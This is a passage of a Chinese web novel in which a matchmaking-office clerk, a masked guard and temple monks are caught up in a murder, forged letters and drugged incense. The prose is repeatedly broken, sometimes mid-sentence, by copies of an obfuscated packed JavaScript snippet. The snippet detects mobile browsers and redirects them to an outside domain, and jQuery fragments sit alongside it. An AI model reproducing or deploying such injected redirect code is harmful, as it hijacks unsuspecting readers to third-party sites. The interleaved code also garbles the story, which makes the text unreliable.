顾行歌只朝他招了招手,顺便把老郑一并叫到一旁,压低声音道:“还记得早上老郑说的么?王家的侍卫,从不蒙脸。” 老郑嗯了一声,神情郑重起来。 赵清反应也快:“你的意思是,他根本不是王家的人?” 顾行歌斜睨了前头一眼,那人走得不快,却始终和他们保持几步距离,不远也不近。 她慢条斯理地说,“我猜,他八成是王尚书自己请来的。” “请来做什么?”老郑问道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860023|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “护人。”顾行歌道,“这阵子不是接连有富家公子遭人下毒吗?王景虽然老实,但也搞不好会被盯上。王家人怕了,出钱请个好手看着点,也不稀奇。” 老郑点点头:“确实。他穿的黑衣与王家其他侍卫都不一样。” 赵清却还皱着眉:“可他脸都不露,像防贼似的。” 顾行歌目光还落在那人高瘦的背影上,说道:“我瞧着,这人八成是个江湖中人。身手不凡,仇家不少,所以才裹得严实,省得走哪儿都被人一眼认出来。” 赵清不以为然:“那跟咱们有什么相干?” 顾行歌闻言,恨铁不成钢:“你忘啦?前阵子给严将军的次子牵线,那位少爷不满意,带着人跑来,合婚司差点没被掀了屋顶!最后还不是孟大人亲自出面,才把那事儿压下去的?” 老郑眼睛一亮,像是突然通了窍:“主簿的意思是……” “聪明!”顾行歌满意地点了点头,转头一看赵清还一脸懵,便耐着性子又解释了一遍,“你看看,我、老郑、你,我们仨谁会武功?真有人踹门砸场子的话,谁上?咱合婚司什么都不缺,就缺个能打的!” 她声音放轻了一些:“这中毒案迟早会过去,王家若是不用他了,这侍卫不就成了自由身?到时候,咱要是能把他拉过来,谁敢在合婚司撒泼?” 赵清恍然大悟:“还得是主簿你啊,谋划得远!” 顾行歌笑了笑。 可一旁的老郑却神色微妙,迟疑道:“只是,我之前卜的那卦……” “停!”顾行歌立马摆手,干脆利落,“那卦就当没起过,别再提了。” 说罢,干脆利落地提了裙摆小步快走,径自追上前头的云信。 那小和尚正垂头丧气地走着,眉毛都快拧成一团。顾行歌看他这模样,忍不住问道:“这是怎么了?” 云信哎了一声,低声道:“我这会儿才想起来,昨晚到底是谁来找的任公子。” 顾行歌一怔:“谁?” 云信搔了搔头,有些疑惑:“昨晚他出去前,说了句‘去见见那姓王的,看他到底想干嘛’。姓王的多了去了,我当时也没当回事。可方才瞧见那位黑衣侍卫,我有了眉头。莫不是,这个王家?” 顾行歌没接话,只嗯了一声。 王景吗? 若是因为幺娘退亲之事,心里气不过,特地来任公子麻烦,也并非全无道理。只是,怎会挑夜里?又怎能避开安成侯府,单寻任公子谈? 她若有所思道:“别慌,等一会找到任公子,一问便知。” 说话间,前头的李侍卫忽然停了下来。 前方是一条河,波光粼粼。 顾行歌正想着该如何渡过去,刚抬起眼,就看见水面上似乎漂着一片白花花的东西。 她心头一紧,脚下加快几步。 等靠得更近,那抹白影随波浪飘荡到岸边,她忽地顿住了。 那不是水面浮光,也不是哪位僧人落了水的袈裟。 那是一件衣裳。 那衣裳层层叠叠缠在一具已经没了生气的尸体上。 河水轻轻一推,尸体靠在了岸边。 那一张脸,已泡得发白,五官略显浮肿。 可只一眼,就认得出来了。 是任公子。 5. 香火不渡(五) 云信小和尚和李侍卫合力,将那具浮在河边的尸体拖上了岸。尸体一离了水,便瘫软下来,全身看起来略肿,只是那双眼睛却还微张着,似乎死前尚有未竟之语。 顾行歌站在一旁,喉头一紧。 她不是没想过任公子可能出事。只是从没想过,会是这样毫无声息地死了。 她下意识往后退了半步,脚下石子一响,引得那李侍卫偏头看了她一眼。他没多说什么,只默默往前一步,将她的视线隔开了。 云信轻轻合上尸体的眼,道了句:“阿弥陀佛。” 李侍卫揭开裹着尸首的衣服,仔细检查道:“尸体已经开始浮胀,但腹部尚未鼓起,看着是昨夜亥时后死的。” 他话音刚落,忽又抬手,从尸体腰间扯下一物。 那是一枚布制香囊,浸了水,颜色早褪了七八分,边角处缝线松开,像是被硬扯下来的。 “泡得太久了。”李侍卫皱眉,翻看两下,那香囊外头还挂着几撮河泥,“这绣的是莲花吗?” “咦?”旁边的云信瞪大眼,“这东西怎么会在他身上?” 顾行歌听到这话才敢把头伸出来:“这绣的是并蒂莲吧。” “是并蒂莲。”云信皱眉,“这香囊是寺里特制的样式,每月只做三四个,求的人还得排队。怎么任公子手上也有?” 李侍卫道:“许是哪位贵人送他的吧。” 说话间,他又蹲下身去,在尸体腹部轻轻按了两下,像是在确认什么。 紧接着,他的视线落在尸首嘴角处,盯了片刻,才道:“嘴唇发紫,唇边干净,口鼻未见水沫。” 他说完这些,便起了身,将那湿漉漉的衣料重新盖上,遮住了那张发白的脸。 不多时,河边匆匆跑来几位身着灰袍的僧人。领头的那人约三十出头,面带忧色,走近便合掌作礼:“阿弥陀佛,在下慈华寺云澈。此人,就由我们送回寺中安置。” 顾行歌定了定神,拱手回礼:“多谢大师。此人应是寄住于贵寺的任公子,与安成侯府关系匪浅,烦请大师一并通报大理寺和侯府,莫叫他们久等。” 云澈闻言迟疑了一下,随即颔首道:“自然,贫僧这便安排。” 话已至此,顾行歌正欲带人离开。 谁料还没走出去几步,背后忽然传来一声: “你不能走!” 顾行歌转头一看,就看到云信几步跨上来,抬手直指李侍卫高喊道: “师兄,不能让这黑衣人走!昨夜任公子明明说是去赴王家的约,如今人死了,今早此人却在这河边现身,不是为王家掩人耳目还能为何?此事蹊跷得紧,得随我们回寺中说清楚!” 顾行歌心头一跳,想出言阻止,却又觉云信那话竟也不是空口白话。 任公子昨夜确实说过要见王景,今早尸体便从河上飘来,这李侍卫又恰好现身于此地,这也太巧了。 正沉思间,便听李侍卫道:“跟你走一趟也无妨。” 顾行歌侧头看了他一眼,只见那人神色未变,仿佛此事本不值得他在意半分。 顾行歌一时间竟说不出话来。 若这命案真与王家有关,那她先前一手撮合的姻缘,岂不是成了这命案的因? 她向来避讳与这些腌臜官司沾边,奈何这一回,催命索像是从她手中牵起。若要真就此走了,日后心里怕是也难安稳。 念及此,她终是上前一步,拱手朝云澈行了一礼:“大师,我同僚赵清,与这死者任公子,虽不是骨肉至亲,但到底沾着血缘。如今人死在寺前,案情未明,不如我们也留下来,帮着料理后事。” 云澈怔了一下,眼下事势如此,终究无从推辞,只得合掌道:“既如此,几位随我来罢。” -- 这慈华寺倒也不大,前头一间正殿,香火最旺,供的自然是那位金身佛祖。东西两间侧殿,东侧殿供的是送子娘娘,前来求子的妇人络绎不绝。西侧殿供的是药神,殿前还常摆着些草药香包,远远便能闻到股淡淡药香。 再往后走,还有几间小殿,地藏、财神,文昌……人生百事、功名生死,寺里都照顾到了。倒也难怪,哪怕此处偏居山间,也能年年香火不断。 再往里,是后院了。 东厢房住着寺中僧人,西厢房则空出几间,专留给像任公子这般长住的香客使用。 更高处,有几座架在山腰上的亭子,说是供贵人抄经清修用的,顾行歌也没去过,也是听别人说,里面布置异常奢华。 云澈将众人领到了西厢的一间客屋中,众人刚踏进屋,几道含混不清的男人声音忽从远处传来,似是在吵嚷着什么。 云澈脸色微变,合掌行礼道:“几位稍坐,贫僧片刻便回。”说罢,便带着云信快步离开。 不一会儿,外头乌云密布,天色忽然暗了下来。西厢房向来潮气重,此刻便愈发湿热,像个蒸笼,闷得连呼吸都带上了水汽。 顾行歌忍不住翻了翻桌上的书册,挑了本最薄的,权当扇子用了。她一边扇一边偏了偏头,目光在屋中一绕,忽然顿住了。 那李侍卫,不知何时已解了脸上的黑巾,正坐在窗边,望着外头的乌云,一言不发。 湿热的风勾得他鬓发微散,落在颊侧,眉眼清俊,倒比蒙着面时还要好看几分。 顾行歌原以为这人得是个在江湖打滚多年的老手,三十出头、非常沧桑那一类。哪知这会儿一揭面巾,才发现竟是个俊秀的青年。 一旁赵清靠过来,压低声音嘟囔一句:“我说什么来着!那王公子,八成就是怕他好看过了头,压住了自己,才让他蒙着脸的。” 顾行歌点点头,倒是有几分认同赵清的想法。 李侍卫似乎并未察觉到两人正在议论他,突然起身,走到门前。 赵清忙道:“寺里的师父不是说了吗,暂时不让咱们乱走,说是怕冲撞了其他香客。” “快下雨了,人都散了。”李侍卫语气平淡,说着便一把推开了门。 顾行歌抬眼望向窗外,只见前殿处果然已没什么人影,平日香火旺盛的佛堂此刻连诵经声都静了许多。香客怕是早料到暴雨将至,已经提早散去。 李侍卫已经出了门,顾行歌犹豫片刻,也起身跟了上去。临出门时,又回头叮嘱赵清和老郑道:“我去去就回。” 赵清撇撇嘴,倒也没拦。 顾行歌快步追了出去,只见李侍卫已经走出几步,一身黑衣隐在昏沉的日光下,竟隐隐透着几分肃杀。 他并不避讳她的跟随,走至一间侧屋前停下,推门而入。 房内陈设极简,除了一桌一椅,便只剩角落一个木柜。 顾行歌环顾四周,道:“这是谁的屋子?” 李侍卫没立刻作答,只是拉开木柜。顾行歌瞥见里面有一件略有些眼熟的白衫,心下微动:“……是任公子的?” 李侍卫点了点头,又将柜子里翻了翻,从最底层取出一个灰布包袱。打开包袱,里面有着几本书册,还有一些散碎银子。 顾行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860024|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌随手抽出一本,翻开一看,是任公子的过所。 “任尚,云洲籍,正元二十七年生人。”这倒是与昨日赵清打听来的没什么出入。 她又拿起另一本,第一页便是一张药方,看起来是治疗身体虚弱,脱力等症状,只是有一味叫做红雁花的药材,顾行歌从未见过。 李侍卫瞥了她一眼,道:“云洲临着西陵国,红雁花是西陵常用药材,药性燥烈,专治气虚脱力。但用得久了,有人会出现幻觉。” 顾行歌倒是第一次听他说这么长一段话,想起还要笼络此人的想法,便笑道:“你这般博学,在王家当侍卫,实在是屈才了。” 李侍卫没吭声,像是没听见。 顾行歌原以为自己这话算是投了个好彩头,谁知气氛竟更冷了几分,她只得干咳一声,权当无事发生。 她拿起那堆册子里最后一本。这本封皮略旧,一看就是常被翻阅的模样。 她原以为又是药方之类,谁知一翻开,头一页写着“安成侯府”四个字。 顾行歌莫名心头一紧,继续往下翻。 只见后面几页密密麻麻写着人名地名,清一色全是侯府相关。 侯爷近三年来常往的酒楼、每逢十五必去哪几间寺庙、跟谁同行、连出行是大马车还是小马车都一一列了出来。 又往后翻了一页,便全是幺娘的行踪。 哪日来的慈华寺、随行几人、落脚在哪间偏殿、几时焚香、几时离去,全都记得清清楚楚。 顾行歌顿时有些头皮发麻。 这位看似文弱的任公子,分明是早早盯上了安成侯府,甚至,盯上了幺娘本人。 顾行歌听说过扬州瘦马,精心教养,专供富贵人家挑来取乐的,可这还是头一回见着寒门书生倒过来做功课,专找侯府小姐下手的。 怪不得幺娘几日便对他动了心思。 不过这哪是动心?这是人家一路按着她的心法在走,能不中招才怪。 李侍卫还在一寸寸地搜查柜中物品,不多时,翻出一瓶药瓶,瓶身泛黄,看样子用的几勤,应是任公子日常所服之物。 顾行歌见他认真,自己也不由得上了心。她在床榻四周转了转,起初并无所得,正欲放弃,手指却忽然在枕下触到一封信。 她展开一瞧,只见纸上写着:“亥时,湖边相见,王景。” 果然,昨夜来寻任公子的,是王景。 她偏头看了李侍卫一眼,却见对方凑近看了眼,只淡淡道:“确实像他的笔迹。” 顾行歌一怔,这就认了? 李侍卫又道:“不过昨晚不是他。” 顾行歌才欲追问,突然听到大殿方向传来一阵脚步声,像是有一队人从前殿往后院来了。 两人对视一眼,立刻将信收起,匆匆折回方才的屋中。 过了一阵,只见王景快步走进屋来,身后还跟了个身穿大理寺衣服的官差,脸上都带着几分不耐。 此时一阵风吹入屋内,带着暴雨将至的沉闷湿气。 王景手里捏着一封信,一进门便扬了扬:“这是怎么回事?昨夜分明是那姓任的来找我。” 顾行歌接过那信,一眼扫去,只见上头只寥寥数字: “亥时,慈华寺山下湖边,有事商谈。” 虽未署名,但上面的字迹,和她方才在任公子的书册里见过字迹,几乎一模一样。 外头忽然一道炸雷滚过,紧接着,暴雨如瀑倾盆而下。 这场雨,终究是下了。 6. 香火不渡(六) 此时,大理寺那名官差,径直走向前,抱拳道:“大理寺评事秦若木,奉魏少卿之命,查慈华寺命案。听说王景与案中死者昨夜有约,特来带人来看尸首与现场。” 大理寺三个字一落地,屋里气氛顿时有些微妙。 赵清悄悄朝顾行歌靠近了半步,低声道:“是那位鬼判魏怀州的手下。” 顾行歌嗯了一声,这魏怀州倒是动作够快,尸首发现左右不到几个时辰,他就能理清其中线索,令人将王景带来,果然还是有几分能力。随即,她也抱拳道:“户部合婚司,顾行歌。” 秦若木一一点头还礼,目光掠过众人,至李侍卫时略顿了一瞬,却未多言,随即退至一旁。 王景听了这番话,倒是有点不痛快起来:“不是吧……你们该不会真怀疑是我?是,我承认,我心里确实对那姓任的有点不痛快,可我还没糊涂到这个地步吧?”说完,又抬眼看向李侍卫,略带小心翼翼地道,“再说了,我昨晚在干什么,你不知道么?” 李侍卫却像没听见似的,半个字也不回。 王景有些急了,语速也加快了:“你倒是说句话啊,顾大人还在这儿呢,你不吭声,搞得我像真杀了人一样!”说罢,他手一伸,去拽李侍卫的衣袖。可手指刚碰到衣角,像是被扎了一下,立马又缩了回来。 李侍卫这才开了口,淡淡道:“确实,昨夜你是与我在一处。” 王景仿佛抓到了救命稻草,整个人都活过来了:“大理寺的这位秦大人,还有顾大人,你们听到了吧,我这可是有人证的。” 顾行歌听到此处,稍微松了口气。不是王景,那她的负罪感少了很多,总算不是牵红线,牵成了命案。她接着问道:“那你这信,是在哪儿收到的?” 王景想了想,说道:“昨日申时起,我一直在浮云居喝酒,喝得酩酊大醉,醒来时已是半夜,还是李侍卫把我摇醒的。那时桌上就放着这封信。酒楼中的各位伙计都可以作证。至于为何我在这浮云居……” 他说到这里像是意识到了什么,眼神飘了一下,不敢说了。 浮云居,京城数一数二的酒楼,离安成侯府不过几条街。方才任公子留下的那本册子里,便有一处记着,安成侯常在此设宴饮酒。 不过京城酒楼那么多,不在别的地方喝,偏偏在这浮云居喝,顾行歌压根儿不用细想,就知道这王景打的什么主意,多半是还盼着碰巧撞见幺娘…… 顾行歌这几年在合婚司,可是见过了太多这种事。这世道,姑娘家守着名声活着,实在太难。偏偏有些人,却只当这是一场风雅的追求。 这时,李侍卫突然开口道:“往后别再做这种事了。既然已无婚约,就别总去打扰人家姑娘。” 王景像是被点中了什么,身子一僵,讪讪地低下头去。 顾行歌也转头看了他一眼。这人看起来面冷不愿多管闲事,此刻却肯为了旁人说话,言语不多,却言之有物,倒真是个君子。 她清了清嗓子,重新把话题拉回正轨:“那封信,到底是谁送来的?你可记得?” 王景抬起头说道:“我思来想去,最近跟我还有来往的,也就那姓任的了。可我昨晚是真醉了,最后还是李侍卫把我带回府的。”说到这儿,他一停,像是越想越来气,“再说了,他叫我去,我就得去啊?” 顾行歌没理他这点小脾气,只把那封在任公子屋里翻出来的信,递了过去:“那你倒说说,这张信,是不是你写的?” 王景低头,眉头越皱越紧,嘴里念着:“奇了,真挺像我写的……”又蹙着眉道,“可你看这里,‘湖’字左边的这几个点,我从来不这样写。”他把信举到眼前细看,满脸困惑地道,“我真没写过。” 任公子收到了署名是“王景”的信,约他亥时去湖边相见。王景也收到了一封信,字迹与任公子几乎一致,却并未署名,约定的时间与地点,却一模一样。 若这两封信,都不是出自他们自己之手。 那写信之人,究竟是谁?又意欲何为? 顾行歌脑中各种念头不断翻滚,忽地一顿,仿佛什么线索猛然接上,转头正要开口,却撞上李侍卫的目光。两人不约而同,异口同声吐出一个词: “嫁祸!” 这时,外头响起一阵急促脚步声,紧接着吱呀一声,门被人推开,只见那云信小和尚气喘吁吁地站在门口,也顾不上双手合什,朝屋里喊道:“赵大哥,任施主的尸首不太对劲,你快去看看吧!” 赵清一听,脸色立变,连忙起身。顾行歌也皱起眉,起身招呼众人一道跟上。 一行人快步穿过游廊,往寺后的方向走。此时雨越来越大,几步下来,鞋底早被浸透,踩在青石板上微微作响。顾行歌抬袖拭去脸上的雨水,只觉这天好像也被这桩命案搅得心烦气躁。 赵清一边走一边压低声音问顾行歌:“主簿,你方才说那‘嫁祸’,到底是什么意思?” 顾行歌道:“你想啊,若昨晚王景确实依那信去湖边赴约,今早,任公子的尸首又正好被我们在湖边发现,那你说,官府第一怀疑的会是谁?” 赵清皱了皱眉,老老实实道:“那地方偏得很,又是夜里,旁人怎么会去……再加上他二人先前因那桩安成侯府的亲事,有过节,那自然就会怀疑王公子了。” “这就对了。”顾行歌点点头,“那封信,就是替他设的局。” 赵清这才回过味来,脱口而出:“那写信的人,不就是想让大家都以为,是王公子杀了任公子?” “正是。”顾行歌语气未变,眼神却渐渐沉了下来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音未落,大理寺的秦若木也走了上前,抱拳道:“此事非同小可,若真与京城的命案有关,我这便带尸首下山,回大理寺亲自验查。” 顾行歌望着屋外,泥地已被冲得稀烂。她担忧道:“这雨下得这样急,还能下山么?” 秦若木也探头望了望,道:“勉强冲一把也成,只是,我一人怕是撑不住。不知有没有愿意搭把手的?” 他话音才落,赵清和老郑一前一后举了手。 赵清咧嘴苦笑道:“好歹我算半个亲戚,出点力也是应当的。” 秦若木点点头,回身朝顾行歌道:“顾大人,那我就先借你这两位同僚一用。诸位今日还是留在寺中歇息,等明日天晴,再一同下山吧。” 7. 香火不渡(七) 顾行歌看了一眼屋里的人,再望向外头的大雨,心里不由得犯了难。 这会秦若木他们要运尸下山,风大雨大,路又滑。她若是也跟着去帮忙,那就是与尸同行…… 可若不去,堂堂一户部主簿,虽官小权微,但便眼睁睁看着人家大理寺的官差与自己同僚顶风冒雨,自个儿却留在这歇息,也实在显得有几分……不近人情。 正犹豫着,赵清斜了她一眼,毫不犹豫地拒绝:“行了主簿,这种事你就别跟着添乱了。” 顾行歌一噎,还没来得及反驳,旁边的老郑却也在火上浇油:“是啊,主簿你上回修书架的事,咱可还记着哩。那一斧头下去,书架没了,旁边的案几也塌了,连带着孟大人的墨宝都……” 顾行歌一听,面皮一抽,恨不得糊住老郑的嘴,怎么又提这事! 这世道,有人负责出力,有人负责出……嘴。她顾行歌便是后者。力气一两都没有,话却是一箩筐。若是把她扔到兵部,那是送死,可丢在合婚司,好歹还算是用对了地方。 顾行歌只得干巴巴笑一笑,省得这两位同僚再说些有的没的。 众人前前后后折腾了好一阵子,终于将任公子的尸首裹好绑妥,赵清他们便抬着往山下去了。眼见赵清几人的背影一点点消失,顾行歌这才察觉到,天竟已经黑透了。 可这场雨却没半点要停的意思,反而愈发地大。 云信小和尚着急忙慌地跑过来,张罗着带他们去方才的西厢房歇息。才刚走近后院,便见有一道人影从另一头过来,正是那位云澈。 他本是低头走路,像是在思索什么,忽一抬眼撞见顾行歌他们,脚下竟略略顿了顿,那神情说不上惊讶,倒像是有些没料到。不过他也没多问,只带头领路,将他们安置在西厢最靠里头的两间屋子。安顿完后,云澈只留一句:“三位先在此歇息,稍后我遣人送饭食来。”便转身扭住云信的耳朵,像拎小鸡仔似的把小和尚拖走了。 院中雨声潺潺,此时檐下只剩顾行歌、王景与李侍卫三人立着。 顾行歌心想明日天晴离开后,天晓得下次再见是几时,此时刚巧有空闲,正好可以套套近乎。于是她笑得殷勤:“二位,相逢即是缘,不如到我屋中喝口热茶,多聊几句?” 王景还没开口,却见那李侍卫随手拂去肩头沾染上的雨水,似不欲多言,只略一点头,语气平淡:“好生歇息,莫要随意出门。” 说罢,人便头也不回地进了最边上的那间屋子。 顾行歌怔了怔,本还想着再同他说两句,顺势继续她这挖墙角的事业,谁料那人竟这般干脆,说完便走,连头也不回。 王景在旁也有点尴尬,轻咳一声,无奈地打圆场道:“他这人……一向如此,不拘于常礼,性子冷,倒也不是存心怠慢。” 顾行歌只略一点头,笑道:“明白,明白,难得的性情中人。” 王景接着说道:“我们就宿在隔壁,若夜里有个风吹草动,顾主簿尽可来敲门唤我们。” 顾行歌道:“如此,有劳王公子了。”说完,她略一拢袖,也转身进了屋。 晚饭过后,廊下雨声仍未停歇。方过亥时,顾行歌正披着外袍坐在窗台旁赏雨,便突然听得门外传来“砰砰”两声。 她警觉地望向门口,还未出声,那门就被人推开了条缝,探进来一个光秃秃的小脑袋。 云信小和尚抱着一个木盒子走进来:“顾施主,可还未歇息?” 顾行歌一眼扫过去,眼前一亮。 那盒子她认得,是慈华寺专门放自制檀香的红木盒,配着银扣,熟悉得很。此番上山帮慈华寺,本就是为了讨点这檀香,谁知任公子出了事,寺中人心惶惶,顾行歌原以为此事就此作罢,不成想,这檀香竟反倒自己送上门来。 “这是……慈华寺的檀香?”顾行歌有点雀跃。 云信点点头,声音有些嗡嗡的:“是师兄让我送来的,说今日雨大,西厢房这边又旧,夜里风雨声难免嘈杂,几位施主怕是睡不好。这檀香能静心安神,助眠养性。我方才已给隔壁王施主他们点过了。” 云信的小脸有些皴巴,像是方才才哭过,却连泪痕都没擦干净,随手一抹,反倒在脸上留下一片印记。 顾行歌看着他这副模样,心里顿生几分揣测。想起方才云澈的那张冷脸,估摸着这小和尚多半是挨了一顿训。 她勾了勾手指:“过来。” 云信踌躇了一下,小孩到底还是小孩,没多犹豫,最终还是乖乖走近,才刚站定,那边顾行歌却抽出一方手帕,不由分说地在他脸上一抹。 “施主自重!”云信吓了一跳,忙往后一缩,仿佛被雷劈了一下。 顾行歌看他这幅哭笑不得的模样,不由轻轻一笑。屋子里原先那点害怕与寂寥,一下被这小和尚冲淡了。她收起手帕,语气软了些:“怎么,哭成这样,你师兄罚你了?” 云信低头嘟囔:“师兄才没有罚我,他人很好……”说着把红木盒放在桌上,“都是我不好,留太多人在寺里。”话音未落,便像是意识到说漏了什么,立刻捂住嘴,眼睛悄悄往上瞟。 只见顾行歌正侧身看向窗外,似是在听雨,神情淡淡,像没听见。 云信才松了口气,规规矩矩地在香炉里点了这檀香,一缕青烟顿时缭绕开来,室内多了几分清润的香味。顾行歌轻嗅了几下,说来也是奇怪,今晚这檀香味,竟比之前在侧殿的药王殿闻到的浓郁的多,看来这檀香应该是用了上等药材制作的。 “今夜我也宿在隔壁,”云信说着,顺手将半开的窗扇掩上,雨声一下子被隔了去,“顾施主要是遇着什么事,尽可来唤我。”说这话时,神情倒是认真极了。 顾行歌看着他这小大人似的模样,点头微笑:“那小师父可要睡得轻些,万一我梦游找你,你可别当我是鬼。” 云信眼皮一跳,溜了。 顾行歌原本想好好理一理今日发生的事情,任公子到底怎么死的,中的又是什么毒,这些皆是得细细捋的。她靠着枕,愈想愈困,才理到一半,就在青烟缭绕间沉沉地睡了过去。 还做了梦。 先是梦见阿爹阿娘和她坐在院中有说有笑,再一转头,赵清不知道从哪里冒出来,说要请她吃馄饨,她刚端起碗没吃两口,又不知怎的,四下景色一变,竟换成了孟大人成亲。更荒唐的,还是她顾行歌牵的红线。 孟大人端起酒杯,正欲一饮而尽,谁知他手一抖,那杯酒直直朝顾行歌泼了过来! 她猛地一惊,从梦中醒来。 此时夜已深,雨倒是小了些,檀香还在香炉里缓缓地燃着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860026|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾行歌一时间竟分不清身在何处,过了一会,才想起自己睡前嫌屋里闷,开了半扇窗透气,如今雨水飘了进来,浸湿了半边枕头。她喃喃自语:“怪不得梦里被泼了酒,原来是雨灌了进来。” 披了衣,她起身去掩窗,谁知刚走到窗前,却隐隐听到屋外传来异响,像是有人在夜中来回走动。 她心头一紧,趴在门上侧耳细听片刻,半晌后,她穿戴好衣物,又把头发随手拢好,悄悄推门出去。 顾行歌站在檐下,只见寺内有几处都映着一片火光,时明时暗,像是有人举着灯笼来回走动。 她忙回头去看旁边两间屋子。左手边是云信,屋内鼾声如雷,看来这小和尚是睡得死透,说什么“有事唤我”,说的比唱的好听。 右手边那间屋子门扇紧闭,顾行歌正欲上前敲门,手停在半空中,又想起李侍卫说的“莫要出门”。算了,感觉去问了指不定会被数落,不如自己先去看,便又把手收了回去。 于是她心一横,独自一人悄悄绕到寺后,循着地势,朝那山坡上一处视野开阔的高地一路摸黑爬了上去。 到了山坡顶,居高临下,寺里动静便一目了然。 只见前殿方向亮着火光。几道人影正从僧房方向绕过去,每个人怀里都抱了个木盒。 “这是什么?”她眯起眼细看。 恰在这时,走在最前头那人似是回头说话,灯笼一晃,照亮了他的半张脸。 顾行歌定睛一看,这人竟是白日里对她冷脸、欺负小和尚的那位云澈! 她倒吸一口冷气,忙缩回身子,蹲在一块大石头后面,死死盯着那行人看。几人直往前殿方向,步履匆匆。可他们一入前殿,门一关,灯笼一灭,顿时什么又都看不见了。 顾行歌等了好一阵,此时雨虽小,可她身上的衣裳早已被打湿,贴在身上黏糊糊的。顾行歌一边打哆嗦一边站起身,准备先就此打道回府。 谁知才走两步,余光一晃,竟看见那几位和尚……却从后山方向鱼贯而出! “诶,不是方才还在前殿的吗?” 顾行歌揉了把眼,再看,是那几位和尚的身影没错,只是手上的木盒没了,换成了一堆字画和衣物。 一前一后不过一炷香的功夫,竟是瞬移不成? 只见那几位和尚,在后山的一树荫下,生了火,将手上的字画,衣物统统扔到火里烧。 顾行歌正想细看,只见云澈对身后一位和尚低声说了句什么,声压得极低,只听得出几个字:“快点。侯爷……。” 此时风起,火苗晃了晃,那句“侯爷”便被风送到了顾行歌耳里。 “……侯爷?”她心下一震。 慈华寺里虽然香火不绝,可来往香客,真能和“侯爷”二字挂钩的,屈指可数。她盘了一圈,唯一勉强对得上的,也就只有一位。 安成侯。 顾行歌正准备再往前凑两步,探个仔细。可她脚下的那块地,今日被雨水冲刷,再加上山风一吹,泥地湿滑,顾行歌整个人顿时一个踉跄。 她只觉得自己脚底一空,直接朝坡下翻了出去,心里只来得及冒出一句:“完了,这回合婚司的脸面彻底没了。” 这时,一只手从背后一把揽住了她的腰!一用力,硬生生将她捞了回来。 8. 香火不渡(八) 顾行歌一个猝不及防,狠狠地撞进了一个人的怀里。那人的胸膛还挺结实,热烘烘的,在这雨夜里倒像一个火炉。 可还没来得及多体验一会,那人便迅速把她往安全的地方一推。顾行歌还没站稳,便听耳边冷冷一句:“你再多一步,人就下去了。” 顾行歌一听这声音,背脊一僵,想想自己现在的狼狈模样,真想直接翻下去算了。怎么又是他。 顾行歌转个头,努力笑了一下:“李大哥,好巧啊。” 李侍卫看了她一眼,眼神没太多波澜,只淡淡道:“你倒是机灵,没中他们的计。” 顾行歌一头雾水:“什么计?”她看了看李侍卫的身后,“怎么就你一人,王景呢?” “他?还在做他的春秋大梦。”李侍卫接着道,“檀香刚一点上,他就睡死了。” 顾行歌脑海嗡地闪过方才那股浓重的檀香味,还有自己做的莫名其妙的梦。 她心口一跳,低声试探:“你是说……檀香被做了手脚?” 李侍卫肯定道:“不错,比王景聪明点。” 怪不得她一沾枕就昏睡过去!顾行歌心中直发毛,却仍不死心:“我亲眼看云信这小和尚点的檀香,他怎么下的药?” 李侍卫看着下面那些和尚的动静,压低声音道:“不是下的药,是掺进去的。那檀香里头混了红雁花。” 顾行歌几乎脱口而出:“红雁花?那不是任公子药方里那味药?” “正是。”李侍卫的目光在火光和顾行歌之间游走,“红雁花二十年前曾在京中大肆流行,起初说是能镇痛醒脑,可用得久了,人就容易神志不清,轻则迷糊,重则成瘾发疯。疯的人多了,朝廷才下了禁令,把这东西封了。” 顾行歌微微一怔,随即开口:“……所以你是说,任公子极可能是过量用了红雁花,才了中毒,有了那红色的尸疮?” 她顿了顿,接着说道:“可若真是如此,那京中这几位死得蹊跷的贵公子,症状也一模一样,难不成都撞了一个药方?红雁花是禁药,这东西寻常坊间连影子都见不着,慈华寺又怎会大张旗鼓点这种香?” “再说了,任公子一个外人,手里再多的红雁花,也不该进得了这慈华寺的佛殿香炉。” “除非。”李侍卫眼神微沉,目光落在山下那堆正在燃烧的火堆上,“这寺里,有人和他是一伙的。” 话音刚落,火堆滋啦一声爆响,火星飞起,差点蹦到旁边和尚袍角上,几名和尚齐齐退后一步,似是吓了一跳。 